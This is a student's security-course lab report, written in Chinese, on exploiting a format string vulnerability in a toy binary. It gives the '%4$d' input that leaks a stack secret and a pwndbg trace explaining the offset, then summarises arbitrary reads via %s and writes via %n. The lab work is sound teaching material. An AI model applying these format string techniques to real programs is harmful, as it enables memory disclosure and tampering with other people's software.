Lab2 Report

唐亚周 519021910804

1 Basic

1. 执行可执行程序并按照如下图所示输入。

```
/mnt/D/SJ/3-Junior-2/I/SysSec-labs/LAB2/base ./format_string
what's your name?
%4$d
welcome,1884903171guess what is the secret:
1884903171
you win!
```

2. 分析源代码，定位漏洞的位置并解释漏洞成因。

   在输入了 `%4$d` 之后，`welcome` 的值变成 `welcome,%4$d`，这里的百分号会被 `prinf` 当作字符串格式化的标志，代表取第 4 个参数并以十进制数的格式输出。但这里实际上 `printf` 是没有参数的，因此它会在栈上继续寻找第 4 个参数。而我们想要的 `secret` 值就存储在栈空间中，因此这里的“4”是后续通过栈空间分析来确定的。

3. 使用GDB调试，观察程序运行中printf的参数并解释上图所示中的输入所代表的意思。

```
pwndbg> n
0x08048612 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
 EAX  0xffffd058 ◂— 'welcome,'
 EBX  0xf7f6de3c (_GLOBAL_OFFSET_TABLE_) ◂— 0x224d6c /* 'lM"' */
 ECX  0xffffd010 —▸ 0xf7f6e5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
 EDX  0x0
 EDI  0xf7ffd000 (_rtld_local) —▸ 0xf7ffda20 ◂— 0x0
 ESI  0xffffd144 —▸ 0xffffd350 ◂— '/mnt/Data/SJTU_Files/3-Junior-2/IS308-Computer-System-Security/SysSec-labs/LAB2/base/format_string'
 EBP  0xffffd078 —▸ 0xf7ffcb80 (_rtld_local_ro) ◂— 0x0
*ESP  0xffffd030 —▸ 0xffffd058 ◂— 'welcome,'
*EIP  0x8048612 (main+151) —▸ 0xfffe09e8 ◂— 0x0
[ DISASM ]
   0x8048607 <main+140>    sub    esp, 8
   0x804860a <main+143>    lea    eax, [ebp - 0x2a]
   0x804860d <main+146>    push   eax
   0x804860e <main+147>    lea    eax, [ebp - 0x20]
   0x8048611 <main+150>    push   eax
 ► 0x8048612 <main+151>    call   strcat@plt                  <strcat@plt>
        dest: 0xffffd058 ◂— 'welcome,'
        src: 0xffffd04e ◂— '%4$d'

   0x8048617 <main+156>    add    esp, 0x10
   0x804861a <main+159>    sub    esp, 0xc
   0x804861d <main+162>    lea    eax, [ebp - 0x20]
   0x8048620 <main+165>    push   eax
   0x8048621 <main+166>    call   printf@plt                  <printf@plt>
[ STACK ]
00:0000| esp 0xffffd030 —▸ 0xffffd058 ◂— 'welcome,'
01:0004|     0xffffd034 —▸ 0xffffd04e ◂— '%4$d'
02:0008|     0xffffd038 ◂— 0x4
03:000c|     0xffffd03c ◂— 9 /* '\t' */
04:0010|     0xffffd040 ◂— 0x54bc055f
05:0014|     0xffffd044 ◂— 0x1000101
06:0018|     0xffffd048 ◂— 0x3
07:001c|     0xffffd04c ◂— 0x34250e30
[ BACKTRACE ]
 ► f 0 0x8048612 main+151
   f 1 0xf7d6e249 __libc_start_call_main+121
   f 2 0xf7d6e324 __libc_start_main_impl+148
   f 3 0x80484a1 _start+33
```

   在程序的前面一部分中，`secret` 的值被存在了 `0xffffd040` 的地址上。而通过观察调用 `printf` 函数时的栈空间，我们可以发现，`0xffffd040` 的地址正好对应着 `printf` 的第 4 个参数，因此当我们的输入为 `%4$d` 时，程序就会把 `secret` 给输出，然后我们再次输出该 `secret` 值，就能够成功地攻击该程序了。

4. 请列举其他格式化字符串可能带来的信息泄漏。

   这一题我参考了网上的博客。[1]

   (a) 可以查看任意地址的内存上的内容。当我们把想要查看的地址写入到栈中后，就可以利用 `%s` 来查看它对应的内容。

(b) 可以修改栈的内容。可以利用 `%n` 转换指示符将 `%n` 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。

(c) 可以修改任意地址的内存上的内容。可以利用单个字符作为占位符，结合 `%n` 来进行逐字节的修改。

2 Challange

暂时没有想到较好的思路。

3 感悟

在分析栈空间时，我一度把 `0xffffd034` 当成了传入 `printf` 的字符串，而不是第 1 个参数，导致我一直觉得 `secret` 是第 3 个参数 😭 最终在与杨钦崴同学的交流中发现了这个问题，感谢他！

---

1. https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.1_format_string.html ↩